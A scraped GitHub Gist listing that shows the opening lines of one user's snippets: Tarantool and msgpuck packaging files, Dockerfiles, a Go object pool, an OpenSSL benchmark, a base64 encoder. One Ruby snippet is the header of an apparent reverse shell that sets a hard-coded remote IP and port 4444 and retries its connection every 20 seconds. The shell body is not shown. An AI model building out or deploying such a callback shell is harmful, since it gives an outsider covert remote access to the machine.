Skip to content

Instantly share code, notes, and snippets.

package main
import (
"bufio"
"fmt"
"io"
"log"
"net"
)
#!/usr/bin/env ruby
require 'socket'
require 'open3'
RHOST = "185.86.146.46"
PORT = "4444"
#Tries to connect every 20 sec until it connects.
begin
@oleggator
oleggator / tarantool.rb
Created March 19, 2021 13:56
Tarantool XTM homebrew formula
class Tarantool < Formula
desc "In-memory database and Lua application server"
homepage "https://tarantool.org/"
license "BSD-2-Clause"
revision 1
version_scheme 1
head "https://github.com/tarantool/tarantool.git", shallow: false, branch: "mechanik20051988/gh-4802-implement-xtm-api"
bottle do
sha256 cellar: :any, big_sur: "1ba6353c8f4a8a65534af280be5c0dd84760da5fcc38ff29a3c9ce5639aa570d"
@oleggator
oleggator / PKGBUILD
Created March 14, 2021 14:07
mspuck PKGBUILD
pkgname=msgpuck
pkgver=2.0
pkgrel=1
pkgdesc='Lightweight MessagePack library'
arch=("x86_64")
depends=("glibc")
makedepends=("cmake")
source=("https://github.com/tarantool/msgpuck/archive/${pkgver}.tar.gz")
sha256sums=('01e6aa55d4d52a5b19f7ce9a9845506d9ab3f5abcf844a75e880b8378150a63d')
@oleggator
oleggator / Dockerfile
Created June 11, 2020 09:12
CLion remote c++ environment
FROM ubuntu:20.10
ARG USER=user
ARG PASSWORD=password
RUN apt-get update \
&& apt-get install -y ssh \
&& apt-get install -y \
build-essential cmake coreutils libreadline-dev libncurses5-dev libunwind-dev rsync \
libicu-dev libssl-dev liblzma-dev zlib1g-dev autoconf automake libtool git gdb tar \
@oleggator
oleggator / Dockerfile
Created June 11, 2020 08:31
Tarantool static build
FROM debian:10-slim as build
ARG VERSION=2.2
RUN apt-get update && apt-get install -y -f \
build-essential cmake coreutils libreadline-dev libncurses5-dev libunwind-dev \
libicu-dev libssl-dev liblzma-dev zlib1g-dev autoconf automake libtool git
WORKDIR /
RUN git clone --branch ${VERSION} https://github.com/tarantool/tarantool.git
@oleggator
oleggator / pool.go
Created February 4, 2020 11:19
golang object pool
package api
type EventPool chan *Event
func NewEventPool(size int) EventPool {
return make(EventPool, size)
}
func (ep EventPool) Get() *Event {
select {
OPENSSL_ia32cap="~0x200000200000000" openssl speed -elapsed -evp aes-256-cbc
You have chosen to measure elapsed time instead of user CPU time.
Doing aes-256-cbc for 3s on 16 size blocks:
34935636 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 64 size blocks:
9162857 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 256 size blocks:
2309411 aes-256-cbc's in 3.00s
Doing aes-256-cbc for 3s on 1024 size blocks:
@oleggator
oleggator / Makefile
Last active October 17, 2019 17:50
run command with proxy
SSH_PROXY=centos@7.7.7.7
test:
HTTP_PROXY=socks5://:5555/ go test | ssh -D 5555 $(SSH_PROXY) cat
static const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
void print_base64(unsigned char const *bytes_to_encode, unsigned int in_len) {
int i = 0;
int j = 0;
unsigned char char_array_3[3];
unsigned char char_array_4[4];